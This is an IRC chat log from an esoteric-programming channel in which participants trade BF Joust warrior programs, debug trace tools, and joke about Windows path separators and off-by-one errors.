19:40:20 <elliott> int saves[2] = {tape[ptrs[0]], tape[ptrs[1]]};
19:40:23 <elliott> And I condition on saves[prog].
19:40:26 <Gregor> Tasted like that family of bug, in this case Idonno :P
19:40:45 <elliott> I think it's a polarity issue or SUMMAT
19:41:20 <elliott> ais523: It's not sufficient when battling {p1,p2} to just do {+p1,+p2}, {+p1,-p2} is it?
19:41:28 <elliott> I think you might have to do {-p1,+p2} as well
19:44:52 <elliott> ais523: No, that's not right...
19:46:30 -!- tswett_ has quit (Remote host closed the connection).
19:47:05 -!- yiyus has quit (Read error: Operation timed out).
19:47:38 <elliott> Gregor: The egojsout trace of [>[+]-] vs. [>[-]+] makes no sense to me (first breakdown).
19:47:49 <quintopia> elliott: +- is identical to -+. check any breakdown.txt
19:47:49 <elliott> They stop in the middle and start doing freaky shit for no apparent reason after spending two cycles doing nothing.
19:47:55 <elliott> quintopia: indeed
19:48:11 <elliott> Oh wait.
19:48:14 <elliott> They cross over or something.
19:48:19 <elliott> Nope, still makes no sense.
19:49:45 <elliott> Gregor: Does the bottom program appear on the left? x_x
19:50:03 <elliott> BTW, the trace is totally fucked-up for a program like < :P
19:50:39 <quintopia> WEIRD
19:50:44 <elliott> quintopia: ?
19:51:10 <quintopia> [[[[ does not actually work as a reverse tripwire avoider in all cases, but it does improve my score O_O
19:51:17 <quintopia> i have no idea what it is doing for me
19:53:51 <ais523> elliott: you only need two, {+p1,+p2} and {+p1,-p2}
19:53:58 <elliott> ais523: indeed
19:54:04 <elliott> my trace is totally effed up right now, trying to figure out the problem
19:54:04 <ais523> quintopia: I'm surprised it works at all, although it does
19:54:15 <ais523> it basically has to hit the first tripwire while it's 0, then it works
19:54:23 <ais523> *reverse tripwire
19:55:54 <quintopia> so it works just often enough to help?
19:56:12 <quintopia> i pretty much kill defend13 and defend14 on every game even without it though
19:56:19 <ais523> no, because you generally beat defend13/defend14 even if you trip the tripwire
19:56:20 <quintopia> so i think it's helping somewhere else
19:56:43 <ais523> I think it might help vs. defend13/14 not by doding the tripwire, but by causing it to misdetect your strategy
19:57:13 <quintopia> hmm
19:57:45 <quintopia> i don't think so. i think the [.+] wins regardless of what they think my strategy is
19:58:32 <ais523> incorrect, as seen by the fact that defend14 beats wireless_frownie on a max-length tape
19:59:00 <quintopia> not since i removed that special case :P
19:59:12 <ais523> it actually has a counter-three-cycle-clear in there somewhere, but doesn't trigger it very often
19:59:26 <ais523> basically, three cycle clear can be countered, but only if you know the opponent's using it
19:59:33 <quintopia> the special case did a 2-cycle clear, which is why defend won in that case
19:59:37 <ais523> aha
19:59:55 <ais523> I should try to find a defend7/10 variant that also deals with three-cycle clears via pure maths
20:00:02 <ais523> but it's kind-of tricky as 3 doesn't divide into 256
20:00:03 <quintopia> i was thinking of doing that
20:00:16 <ais523> (defend10 can deal with /four/-cycle clears without issues)
20:00:20 <quintopia> basically, you just have to simulate the thing on all polarities simultaneously
20:00:34 <quintopia> and adjust every place it COULD go to zero by as much as possible
20:00:54 <quintopia> the resulting code would be ugly as shit tho
20:01:00 <ais523> that wouldn't work, due to not knowing the size of the enemy's offset clear
20:01:05 <quintopia> but, imo, all defend code is already :P
20:01:17 <quintopia> could you detect it?
20:01:24 <ais523> not easily at all
20:01:51 <ais523> if you knew the first time the enemy would set your flag to 0 outside an offset, it would be easy
20:01:53 <quintopia> there's gotta be some kind of alternating bump that works for both 2 and 3 cycles though
20:01:57 <ais523> but I can't think of any way to detect that at all
20:02:13 <ais523> note that defend7/10 don't work via bumping at all
20:02:25 <quintopia> what do they do?
20:02:30 <ais523> it's more reliable to drive the opposing program backwards, so that the flag doesn't hit 0 at all
20:02:39 <ais523> that way, they can't detect the 0 and change tactics
20:02:46 <ais523> 7 and 10 both do that on one polarity
20:02:51 <quintopia> oh
20:02:59 <quintopia> that's still kind of like bumping
20:03:03 <ais523> a bit
20:03:08 <ais523> but it's over a wide range of cycles
20:03:16 <ais523> the timings are chosen so that they accelerate a push in the other direction
20:03:28 <ais523> thus causing the opponent to go over the same sequence each time
20:03:39 <quintopia> a sequence that misses zero
20:03:44 <elliott> quintopia: plz stop submitting programs in /msg
20:03:48 <ais523> that does go past 0, potentially, but not for more than a frame
20:03:49 <elliott> it just means we have to look at in_egobot all the time
20:03:54 <elliott> and also, don't see when our programs get knocked off etc.
20:03:55 <ais523> <elliott> please spam the channel
20:03:59 <elliott> ais523: oh please
20:04:06 <elliott> it's not like we talk much anyway :P
20:04:08 <elliott> well I do.
20:04:14 <quintopia> ^
20:04:15 <ais523> I was just thinking it was opposite to your normal point of view
20:04:25 <elliott> ais523: but yes, it is nice to watch people improve their bots. and also useful for the _rest_ of us players.
20:04:29 <elliott> it's just courtesy
20:04:40 <quintopia> elliott: i'll copy the versions i end up leaving to here if that makes you happy
20:04:55 <ais523> elliott: well, I test mine locally, often, before posting them in-channel
20:05:00 <elliott> quintopia: I'd rather just see them all, after all, failed strategies often get copied by others and improved upon
20:05:03 <quintopia> but i'm not going to spam with all the little tests and tweaks
20:05:46 <elliott> everyone else does it :)
20:05:52 <elliott> so it's not as if you're creating spam out of nowhere
20:05:53 <quintopia> besides, you don't have any competitors on the hill...why are you the advocate?
20:06:37 <elliott> is that relevant?
20:06:38 <elliott> and i used to :)
20:06:39 <ais523> quintopia: elliott isn't on the hill because he isn't very good at BF Joust, rather than because he hasn't tried
20:06:47 <elliott> ais523: hey, I had some programs that were pretty high up first time around
20:06:53 <quintopia> ais523: how reliably can you detect polarity of consistent programs?
20:06:53 -!- yiyus has joined.
20:06:55 <ais523> indeed
20:07:08 <elliott> ais523: I firmly believe I could do well at the current hill, if I spent time studying the existing programs; I just haven't yet
20:07:10 <ais523> quintopia: not completely reliably; I'd say around 50%
20:07:24 <ais523> well, better than that
20:07:26 <elliott> I'm very tempted to write exact_opposite_of_defend13 that specifically counters everything it does
20:07:29 <ais523> I mean 50% better than guessing
20:07:58 <quintopia> aka, 75% :P
20:09:38 <ais523> part of the issue is that detectors can be tricked quite easily
20:09:51 <ais523> sometimes into going into an infinite loop rather than detecting either way
20:09:53 <quintopia> i'm pretty sure there is no way to prevent both 2 and 3 cycle decrementers from hitting zero at *some* point, but i suspect you could create a sequence that bumps both of them indefinitely (with the caveat that one of them could detect it)
20:10:45 <quintopia> namely, you'd let the 2-cycle one be able to detect it
20:10:52 <elliott> AFAICT movement is broken...
20:10:55 <quintopia> and stave of the 3 indefinitely
20:10:56 <ais523> that seems a little dangerous
20:11:16 <quintopia> the opposite is even more dangerous
20:11:40 <ais523> you can't avoid 0 indefinitely without either a) getting lucky with exact timings (i.e. making both programs do + to go from -1 to +1), or b) knowing both the cycle sequence and polarity of the opponent
20:11:57 <elliott> L80 00 00 00 00 00 00 00 00 R80
20:11:58 <elliott> L80 00 00 00 00 00 00 00 00 R80
20:11:58 <elliott> L7F 00 00 00 00 00 00 00 00 R7F
20:11:58 <elliott> L7F 00 00 00 00 00 00 00 00 R7F
20:11:58 <elliott> L7E 00 00 00 00 00 00 00 00 R80
20:11:58 <elliott> L7E 00 00 00 00 00 00 00 00 R80
20:12:00 <elliott> 7E L00 00 00 00 00 00 00 00 R7F
20:12:02 <elliott> 7E LFF 00 00 00 00 00 00 00 R7F
20:12:06 <elliott> 7E LFF 00 00 00 00 00 00 00 R80
20:12:08 <elliott> 7E LFE 00 00 00 00 00 00 00 R80
20:12:10 <elliott> yeah, that right program is _not_ [>[+]-]
20:12:20 <quintopia> odds on the first being possible?
20:12:24 -!- zzo38 has joined.
20:12:41 <quintopia> seems like it is heavily dependent on offset sizes
20:12:46 <quintopia> i'm gonna say it's not
20:13:09 <ais523> I think it's not too
20:13:20 <ais523> the thing it depends on is impossible to detect
20:13:50 <quintopia> wat
20:13:56 <ais523> pretty much the only thing you could do would be to set up three or four decoys at 128 and count the number of cycles between them being zeroed
20:14:01 <quintopia> elliott: is that bfjsout's trace?
20:14:04 <elliott> no
20:14:06 <elliott> lance's
20:14:07 <quintopia> oh good
20:14:13 <elliott> why?
20:14:15 <ais523> and then assume the opponent will be consistent in the timing to the next one
20:14:17 <ais523> but there isn't time to do that
20:14:41 <elliott> [>[+]-] spends five ticks on a normal zeroed cell, right?
20:14:43 <elliott> err
20:14:45 <elliott> [>[-]+]
20:14:47 <elliott> that is
20:14:50 <quintopia> well, there could be... you'd just have to make time to build a *lot* of decoys
20:15:01 -!- hagb4rd has joined.
20:15:02 <quintopia> those programs are identical
20:15:14 <elliott> i mean with normal polarity
20:15:16 <elliott> it takes five ticks
20:15:29 <quintopia> four ticks
20:15:34 <elliott> ais523: I really think that -p1,+p2 might differ from +p1,-p2, because p1 might time out with the other polarity
20:15:34 <quintopia> after the first [
20:15:38 <elliott> because of a [+] or [-] loop
20:15:42 <quintopia> the trace for zeroed cells
20:15:45 <elliott> quintopia: hmm, a bug then
20:15:57 <quintopia> is [>[-]>[-]
20:16:02 <quintopia> etc
20:16:13 <ais523> elliott: no, symmetry
20:16:20 <ais523> please understand the concept of symmetry
20:16:36 <elliott> ais523: that only applies when the programs are the same! the point is that with a timeout it's not equivalent
20:16:37 <ais523> -p1, +p2 is always the same as +p1, -p2 because the two runs will be identical, except for each tape element being - that tape element
20:16:44 <elliott> <elliott> ais523: that only applies when the programs are the same! the point is that with a timeout it's not equivalent
20:16:45 <elliott> as i said
20:16:46 <elliott> timeout
20:16:52 <ais523> that makes no difference either
20:17:00 <elliott> you're neglecting that +p1 might have a [-] loop that runs in N ticks
20:17:02 <ais523> after, say, 50 cycles, even if the two programs are different, the two tapes will be the same
20:17:11 <ais523> except for the values in one being minus the values in the other
20:17:33 <elliott> ais523: wouldn't that only apply if the starting tape differed?
20:17:34 <ais523> if +p1 has a [-] loop, -p1 has a [+] loop in the same place, running on a value which is minus the value that +p1 started on
20:17:36 <elliott> wait, no. hmm.
20:17:41 <ais523> the starting tape is minus itself
20:17:41 <elliott> right.
20:17:43 <quintopia> elliott: yes against a different opponent the breakdowns for the two polarities will be switched when you switch the polarity :P
20:17:45 <ais523> otherwise the symmetry wouldn't work
20:18:48 <elliott> gah, my loop code is broken
20:18:58 <elliott> oh
20:20:25 -!- zzo38 has quit (Remote host closed the connection).
20:22:02 <elliott> brb
20:40:52 <Gregor> Added more SWEET debugging to egojsout :)
20:40:59 <Gregor> Click on a particular state for deliciousness :)
20:47:52 <quintopia> Gregor: k, but did you fix the thing where (<(-)*127<(+)*127)*2 doesn't get expanded right? cuz, you know, that's p annoying
20:48:08 <Gregor> Huh? Since when?
20:48:16 <elliott> I like how quintopia wants Gregor to fix bugs without reporting them
20:48:33 <quintopia> elliott: you fix bugs before people find them all the time!
20:49:05 <Gregor> Certainly looks right to me ...
20:49:32 <Gregor> Yup, that's expanded right.
20:50:31 <quintopia> lemme refresh and make sure i'm testing on the latest version
20:52:11 <quintopia> Gregor: yup. it's not doing it right. fight monorail against wireless. you'll see wireless only builds two of the largest decoys before attacking and leaves the two cells nearest its flag zeroed
20:52:24 <quintopia> (put wireless on the right in case it's asymmetric)
20:52:42 <Gregor> >>>>>(<(-)*127<(+)*127)*2>>>>>(>[-])*100 has the correct behavior, btw.
20:52:56 <quintopia> okay, sure, but replicate my test case
20:54:26 <elliott> Gregor: I think it's bugged in that [>[-]+] vs [>[+]-] produces weeeeeeird output.
20:54:33 <elliott> They sort of stop at the middle for some reason.
20:55:17 <quintopia> ehehe
20:55:44 <quintopia> i bet he typed that with a perfectly straight face too
20:55:49 <Gregor> quintopia: E_CANNOTREPRO
20:55:55 -!- elliott has left (?).
20:55:58 -!- elliott has joined.
20:56:10 <elliott> <quintopia> i bet he typed that with a perfectly straight face too
20:56:12 <elliott> Who
20:56:17 <elliott> Me? :p
20:56:28 <elliott> I generally don't expect loops to start when the tape pointer is on a zero.
20:56:29 <elliott> Generally.
20:57:01 <quintopia> Gregor: WTF
20:57:26 <elliott> Maybe it's a BROWSER INCOMPATIBILITY.
20:58:00 <Gregor> It's not, it's a quintopia-is-doing-something-wrong-incompatibility :P
20:59:10 <quintopia> Gregor: i'm getting you a screencap of what is happening
20:59:27 -!- R0b0t1 has joined.
21:00:23 <R0b0t1> !bfjoust lame +.+
21:00:31 <ais523> elliott: the + in the first program cancels out the - in the second program, then they both escape from their main loops
21:00:35 <quintopia> gregor: http://imgur.com/qchSQ do you not see this in your trace?
21:00:39 <ais523> and NOP forever due to hitting the end of the program
21:00:45 <ais523> ah, hi R0b0t1
21:00:47 <Gregor> R0b0t1: Yup, that's pretty lame :P
21:00:48 <elliott> ais523: that's not what i got in egobfjsout
21:00:53 <ais523> I doubt that program will do particularly well
21:01:00 <EgoBot> Score for R0b0t1_lame: 10.8
21:01:03 <R0b0t1> Just checking.
21:01:13 <Gregor> quintopia: No. Browser/platform?
21:01:20 <ais523> heh, it isn't even last
21:01:21 <quintopia> FF 3.6.3
21:01:24 <ais523> poor vibration2
21:01:30 <Gregor> quintopia: And this was wireless, right? Not wireless_whateverthatotheroneis?
21:01:34 <quintopia> yes
21:01:45 <quintopia> wireless currently has the code i mention above in it
21:03:45 <R0b0t1> !bfjoust lame2 [+.+]
21:04:02 <elliott> Gregor: BROWSER INCOMPATIBILITY
21:04:10 <Gregor> elliott: Not as far as I can tell.
21:04:17 <elliott> Well I hope it is.
21:04:22 <elliott> Because that would be SO 90s.
21:04:26 <EgoBot> Score for R0b0t1_lame2: 14.9
21:04:32 <quintopia> yet another shudder!
21:04:41 <elliott> R0b0t1: hi, how did you find out about this place? the wiki? I suspect so since bf joust isn't exactly well known
21:04:44 <elliott> :)
21:04:46 <quintopia> but one that sucks more because it actually loops and therefore suicides
21:05:02 <R0b0t1> elliott: Indeed :3.
21:05:09 <elliott> welcome etc.
21:06:16 <ais523> elliott: it was posted on reddit once
21:06:16 <quintopia> Gregor: it only happens in that particular trace for some reason
21:06:25 <Gregor> quintopia: ...
21:06:26 <elliott> ais523: that would be a pretty delayed reaction
21:06:28 <ais523> I can't remember if anyone turned up here and stayed as a result
21:06:28 <Gregor> OHWAIT
21:06:45 <Gregor> quintopia: There is a race condition, did you wait for it to finish running all traces before drilling down one?
21:06:45 <ais523> and ofc, #irp exists merely as a honeypot for Redditors
21:06:49 <quintopia> Gregor: also, you need to make it so when you click on a different trace it stops ... yeah
21:07:09 <Gregor> quintopia: That race condition is actually REALLY FREAKING DIFFICULT to fix, so I didn't bother with it :P
21:07:27 <quintopia> Gregor: well, that's not what caused this. that was the first trace i clicked on after loading and running
21:08:05 <ais523> Gregor: have a global variable that specifies the stats of the trace that's running, stop looping if it's set different to the trace that you're generating
21:08:12 <ais523> that's not so REALLY FREAKING DIFFICULT, is it?
21:08:24 <Gregor> ais523: Feh, I could do that :P
21:08:31 <elliott> ais523: be kind, Gregor is a javascript programmer, he doesn't understand such complex things!
21:08:32 <Gregor> ais523: But I can also fix it a little bit better, which I will in ~2hr
21:08:35 <elliott> maybe you want to use lance instead
21:08:38 <elliott> (countdown to "fuck you"...)
21:09:10 <quintopia> make it work first?
21:09:47 <ais523> how often do we have warring interps for any particular esolang?
21:10:02 <ais523> cfunge vs. CCBI (not really vs. Shiro, as it came at a different time)
21:10:02 <Gregor> quintopia: Idonno what to tell you, it works perfectly.
21:10:09 <ais523> esotope vs. in-between
21:10:17 <ais523> hmm, any others?
21:10:38 <elliott> ais523: I'm joking though
21:10:39 <quintopia> Gregor: yeah, i can't repro it now either. i repro'd it twice perfectly and now nothing! heisenbug?
21:10:45 <elliott> also, esotope vs. inbetween wasn't much of a war
21:10:53 <ais523> yep, because Vorpal got bored
21:10:54 <coppro> fun fact: windows has three file path separators. quiz: what are they?
21:10:54 <elliott> that was just me mocking V*rpal for copy-paste code, which i also did when he was doing cfunge :P
21:11:03 <elliott> aww, he'll see that now!
21:11:29 <quintopia> coppro: \ is the main accepted one
21:11:51 <quintopia> :?
21:13:37 <ais523> coppro: \ for legacy purposes, / for modern use, : as the drive separator
21:15:17 <Deewiant> \ is not for legacy purposes
21:15:27 <Deewiant> The UNC uses it
21:16:33 <elliott> you forgot yen
21:16:39 <elliott> ¥
21:16:43 <elliott> (japanese versions only)
21:16:49 <elliott> someone take the credit for that; coppro won't see it
21:17:00 -!- pumpkin has joined.
21:17:33 <elliott> ais523: interestingly in cmd.exe, / = .\
21:17:37 <elliott> well, for cd
21:17:41 <R0b0t1> It works on every version, I think, it's just rather hard to type the ¥ symbol on some computers.
21:17:54 <coppro> I just tried it. It does not work on 7.
21:20:37 -!- copumpkin has quit (Ping timeout: 260 seconds).
21:20:43 <ais523> cmd.exe is insane
21:20:50 <elliott> hmm, are you sure? I think it's a locale-specific thing, originally just because the \ octet showed as the yen sign in shift-jis, then retained for idiot-compatibility
21:20:59 <impomatic> I'm just reading "The Tao of Programming" again :-)
21:21:04 <elliott> I would expect that it just special-cases the japanese locale but I may be wrong, perhaps for software compatibility
21:21:11 <R0b0t1> Well, on XP I remember seeing it on some autoconfigure scripts.
21:21:20 <R0b0t1> Not sure about 7. Still haven't used it :)
21:21:51 <ais523> it's strange how programs can drop down the leaderboard merely due to a change in the composition of the hill, not because they're being outcompeted
21:22:09 <coppro> (the actual truth is that it's locale-dependent)
21:22:12 <ais523> e.g. a program can drop below another one that stays in much the same place
21:22:14 <Deewiant> maglev at some point beat everything that was above it
21:22:17 <impomatic> ais523: it's the same in Corewar
21:22:25 <ais523> that doesn't surprise me at all
21:22:27 <Deewiant> Not any more though
21:22:32 <coppro> the yen and won symbols are path separators in Japanese and Korean locales, respectively
21:22:39 <Deewiant> When it was at pos 5 it did
21:23:58 <elliott> ais523: that's just because of the scoring system
21:24:02 <elliott> and it's totally correct
21:24:08 <ais523> indeed
21:24:17 <elliott> if it suddenly turns out that your big win against a major player was actually not as impressive, you should drop down
21:24:18 <ais523> not even because of the scoring system, it would happen with a naive scoring system too
21:24:22 <elliott> *not so impressive
21:24:26 <elliott> ais523: are you sure?
21:24:28 <ais523> as the programs that you're measured against change
21:24:39 <ais523> if, say, lots of defence programs end up on the hill
21:24:44 <ais523> then programs that do well vs. defence will do well
21:24:50 <ais523> and as a result, all defence programs will start dropping down
21:24:55 <quintopia> ais523: i see now what you mean about defend9 guessing timings. it does an admirable job with wireless (probably due to the small offset size it uses)
21:25:05 <ais523> because counter-defence stays on the hill longer
21:25:26 <ais523> and more counter-defence will get up there and push away programs that might be more vulnerable to it
21:25:46 <elliott> now why is lance so broken
21:25:57 <elliott> you know what's the worst? off-by0one errors
21:25:58 <elliott> *by-one
21:26:02 <elliott> they're so sneaky and tricksy and heisenbuggy
21:26:11 <elliott> yet so stupidly simple
21:26:33 <elliott> I would like to amend the famous quote:
21:26:33 * quintopia hits elliott with a fencepost ===========>
21:26:42 <coppro> quintopia: off by one
21:26:43 <elliott> There are only two hard things in Computer Science: cache invalidation, naming things, and off-by-one errors
21:26:45 <elliott> *errors.
21:26:49 <Gregor> There, fixed the race condition X-P
21:26:55 <quintopia> neatsauce
21:26:58 <elliott> DO YOU GET IT
21:27:36 <quintopia> what was the original quote
21:28:57 <coppro> now I want to intentionally throw a technical interview by answering "what is a race condition" by answering "when a bunch of programs line up in the same place and, at a signal, each start moving as fast as they can to get to the destination. Like in Tron, or Reboot."
21:29:04 <elliott> There are only two hard things in Computer Science: cache invalidation and naming things.
21:29:48 <Gregor> "Like in Tron, or Reboot" X-D
21:29:49 <quintopia> There are only two hard things in Computer Science: interfacing with Facebook and my sexy body.
21:29:59 <elliott> Gregor: wat
21:30:13 <Gregor> elliott: What, do you have pooppy on ignore now?
21:30:45 <elliott> Gregor: Yes, ever since the entire list of topics he talked about became "mentioning that I'm on ignore and how much better the channel is when it's nearly silent^W^Wlacking me, and complaining about Minecraft talk".
21:30:56 <elliott> Gets a bit irritating.
21:30:59 <Gregor> Mm
21:38:23 <ais523> elliott: that computer science joke seems to have its own local version of Muphry's Law, at least on the Internet
21:38:28 <ais523> in that people nearly always seem to mess them up, or at least you do
21:38:46 <elliott> ais523: I copy+pasted it, and added "off-by-one errors"
21:38:54 <elliott> If you mean that I said "two" instead of "three" hard things... that's the joke.
21:39:49 <ais523> elliott: I mean the correction to add the full stop
21:39:59 <ais523> you've made a typo every single time you've done that joke
21:40:10 <elliott> ais523: how often have I done it?
21:40:33 <elliott> 20:24:51 <variable> The REAL two hardest problems in CS: Cache Invalidation, Naming Things, and Off by One Errors.
21:40:34 <elliott> 20:25:06 <oerjan> ...yes.
21:40:34 <elliott> 20:25:33 <coppro> when did #esoteric become #uncyclopedia
21:40:36 <elliott> 20:25:55 <pikhq> Presumably variable is writing an Oscar Wilde language.
21:40:38 <elliott> 20:26:15 <oerjan> but was that off by one error caused by a cache invalidation?
21:40:40 <elliott> doesn't appear to have context
21:40:43 <elliott> but er
21:40:44 <ais523> elliott: twice, or maybe three times
21:40:45 <elliott> he did it before me
21:40:47 <elliott> hi variable
21:42:32 <elliott> "int foo[N];" is guaranteed to be zero-filled, right?
21:43:00 <Deewiant> If it's global... maybe
21:43:07 <Deewiant> I forget how that works
21:43:19 <elliott> It's global, eys.
21:43:20 <elliott> *yes.
21:43:24 <elliott> I know that "int foo;" is 0.
21:43:38 <variable> hi elliott
21:43:47 <elliott> hi
21:43:56 <variable> <elliott> 20:25:33 <coppro> when did #esoteric become #uncyclopedia --> explain ?
21:44:11 <elliott> hm?
21:44:18 <elliott> wasn't that _months_ ago that i quoted that
21:44:20 <elliott> or at least week
21:44:20 <elliott> s
21:44:25 <variable> yeap
21:44:27 <ais523> elliott: it was also earlier today
21:44:33 <variable> ais523: not me
21:44:46 <elliott> oh right, just now
21:44:50 <ais523> I mean, it was elliott who quoted that
21:44:55 <elliott> variable: someone did a fake abraham lincoln quote before
21:44:55 <variable> ais523: oh yes
21:44:57 <variable> :-)
21:44:57 <elliott> variable, in fact
21:45:03 <elliott> or was it oscar wilde... think it was abraham lincoln
21:45:23 <elliott> 20:23:44 <variable> â<80><9c>The problem with Internet quotations is that many are not genuine.â<80><9d> - Abraham Lincoln
21:45:23 <elliott> 20:24:32 <oerjan> "Abraham Lincoln never said that." - Oscar Wilde
21:45:23 <elliott> 20:24:51 <variable> The REAL two hardest problems in CS: Cache Invalidation, Naming Things, and Off by One Errors.
21:45:23 <elliott> 20:25:06 <oerjan> ...yes.
21:45:23 <variable> elliott: but you didn't say the joke properly
21:45:24 <elliott> 20:25:33 <coppro> when did #esoteric become #uncyclopedia
21:45:32 <elliott> why no
21:45:34 <elliott> t
21:46:03 <elliott> ?
21:46:14 <elliott> I thought I invented adding off by one errors to it, probably subconciouscly stole it from you
21:46:48 <variable> <elliott> There are only two hard things in Computer Science: cache invalidation and naming things. -> no off-by-one errors part
21:47:03 <elliott> variable: um that's what the _actual_ quote is
21:47:09 <variable> elliott: hehe
21:47:19 <elliott> <elliott> I would like to amend the famous quote:
21:47:21 <elliott> <elliott> There are only two hard things in Computer Science: cache invalidation, naming things, and off-by-one errors
21:47:21 <elliott> <elliott> *errors.
21:47:24 <elliott> [...]
21:47:26 <elliott> <quintopia> what was the original quote
21:47:26 <elliott> <elliott> There are only two hard things in Computer Science: cache invalidation and naming things.
21:47:31 <elliott> variable: ^
21:47:34 <variable> elliott: ah ok - I didn't read that far up
21:47:38 <elliott> :)
21:47:40 <variable> stealing things from me is ok
21:47:45 <variable> sometimes
21:47:49 <variable> like quotes
21:47:59 <elliott> `addquote <variable> stealing things from me is ok <variable> sometimes <variable> like quotes
21:48:49 <HackEgo> 303) <variable> stealing things from me is ok <variable> sometimes <variable> like quotes
21:54:50 -!- Mathnerd314 has joined.
21:58:14 <elliott> ais523: holy shit!
21:58:19 <elliott> ais523: E17 reached 1.0 last month
21:58:32 <elliott> ais523: now /that's/ more surprising than Duke Nukem Forever
21:58:48 <ais523> I didn't realise it was so delayed
21:59:02 <elliott> ais523: since 2000
21:59:13 <elliott> ais523: it's been in pretty much constant 0.0.0.0.0.000000000000000.1 release stage
21:59:29 <elliott> (that doesn't stop anyone using it, though, it just had a drawn-out release cycle)
22:00:13 -!- augur has changed nick to TheDoctor.
22:00:19 -!- TheDoctor has changed nick to augur.
22:10:11 -!- Tritonio_GR has quit (Quit: Leaving).
22:10:42 -!- nescience has joined.
22:10:55 <Gregor> !bfjoust mapping_turtle -(>(+)*9>(-)*9)*4>([(+)*120(+.)*16.+>]+>[(+)*120(+.)*16.->]->)*11
22:11:19 <EgoBot> Score for Gregor_mapping_turtle: 51.3
22:11:33 <Gregor> YESSSSSSSSSSSSSSS
22:11:34 <Deewiant> O_o
22:11:50 <Gregor> DOES IT BURN
22:11:54 <Deewiant> Oh well, maglev and monorail beat it no problem
22:12:48 <Gregor> Yeah, I'm just in the right sideo of the triangle-o-wins :P
22:12:50 <Gregor> *side
22:12:59 <Gregor> !bfjoust mapping_turtle -(>(+)*10>(-)*10)*4>([(+)*120(+.)*16.+>]+>[(+)*120(+.)*16.->]->)*11
22:13:42 <EgoBot> Score for Gregor_mapping_turtle: 55.2
22:13:50 <elliott> Wow
22:13:53 <Deewiant> !bfjoust -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*9[-]])*20>(.+)*10000
22:13:54 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:13:57 <elliott> Gregor: K w]]
22:13:58 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*9[-]])*20>(.+)*10000
22:13:59 <elliott> oops
22:14:15 <elliott> Gregor: I was expecting "arson murder shit-eating turtle wanker" after your progression
22:14:21 <Gregor> Oh I momentarily hit number one LA LA LA LA NUMBER ONE ONE ONE
22:14:26 <elliott> X-D
22:14:26 <elliott> !bfjoust
22:14:27 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:14:38 <EgoBot> Score for Deewiant_maglev: 47.7
22:14:46 <elliott> Gregor: See with lance, nothing at fucking all would change, carry on.
22:14:49 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*9[-]])*21
22:14:58 <Gregor> I could do better if I killed rapping_turtle, but I'm not quite that dishonest :P
22:15:00 <elliott> ais523: GREGOR IS AT #1, PANIC PANIC PANIC
22:15:05 <ais523> what wive?
22:15:08 <ais523> *with?
22:15:11 <EgoBot> Score for Deewiant_maglev: 47.5
22:15:12 <elliott> ais523: -(>(+)*10>(-)*10)*4>([(+)*120(+.)*16.+>]+>[(+)*120(+.)*16.->]->)*11
22:15:15 <elliott> mapping_turtle
22:15:16 <ais523> umm, that shows how badly I can typo while not concentrating
22:15:22 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*9[-]])*20>(.+)*10000
22:15:24 <elliott> Which one of your wives wrote that program Gregor
22:15:26 <elliott> ais523 wants to know
22:15:29 <ais523> oh, it's just a blatant 128-detector
22:15:36 <Gregor> ais523: All the turtles are.
22:15:39 <elliott> BLATANT, Gregor; BLATANT
22:15:48 <EgoBot> Score for Deewiant_maglev: 47.7
22:15:52 <ais523> the fact that those are doing so well means that we need more fast attack programs, and that adjusting your own flag may soon be a good strategy
22:15:53 <Gregor> Will you all go "HEY DISHONEST" if I kill crapping_turtle?
22:16:01 <ais523> I don't think it's dishonest
22:16:05 <ais523> it's a valid strategy
22:16:10 <Gregor> !bfjoust crapping_turtle <
22:16:15 <ais523> but it's one that does far too well in the current hill
22:16:17 <Gregor> It's not a strategy, I just don't like having old things floating around.
22:16:23 <elliott> !bfjoust (>)*9([(-)*128[-]]>)*20
22:16:23 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:16:26 <EgoBot> Score for Gregor_crapping_turtle: 0.0
22:16:36 <elliott> !bfjoust shitting_tortoise (>)*9([(-)*128[-]]>)*20
22:16:41 <elliott> I'm carrying Gregor's naming convention on.
22:16:41 <Gregor> HOW IS DIRK STILL ALIVE
22:16:43 <elliott> Since he ABANDONED it.
22:16:55 <Gregor> elliott: So long as you keep "tortoise" only :P
22:17:00 <EgoBot> Score for elliott_shitting_tortoise: 13.8
22:17:06 <elliott> Gregor: Have you copyrighted "turtle"?
22:17:19 <Gregor> elliott: No, but within the scope of BF Joust programs it's my trademark.
22:17:29 <elliott> !bfjoust shitting_tortoise >-(>+>-)*4([(-)*128[-]]>)*20
22:17:32 <elliott> Gregor: I SEE
22:18:10 <elliott> yay, i beat defend9
22:18:17 <EgoBot> Score for elliott_shitting_tortoise: 10.2
22:18:43 <elliott> !bfjoust shifting_tortoise (-)*127>+(>->+)*4([(-)*128[-]]>)*20
22:18:51 <elliott> !bfjoust shitting_tortoise <
22:19:07 <Gregor> How can dirk STILL BE THERE
22:19:08 <Gregor> Honestly
22:19:11 <Gregor> How is it even possible.
22:19:13 <Gregor> Somebody knock it off.
22:19:20 <elliott> OK
22:19:24 <Gregor> It's like it only wins against programs which are overall better than it.
22:19:29 <Gregor> (And not already on the hill)
22:19:35 <EgoBot> Score for elliott_shifting_tortoise: 20.8
22:19:36 <EgoBot> Score for elliott_shitting_tortoise: 0.0
22:20:04 <elliott> Gregor: Dude, dirk is too close to shitting tortoise :P
22:20:17 <Gregor> elliott: dirk is shortsword with trivial modification.
22:20:20 <elliott> !bfjoust shifting_tortoise (-)*127>+>-(>)*8([(-)*128[-]]>)*20
22:20:39 <EgoBot> Score for elliott_shifting_tortoise: 22.4
22:24:18 <elliott> !bfjoust shifting_tortoise (-)*127>+>-(>)*8([(-)*64[+]]>)*10([(-)*128[-]]>)*10
22:25:29 * Gregor is shocked beyond belief to still be #1 :P
22:25:39 <elliott> !bfjoust
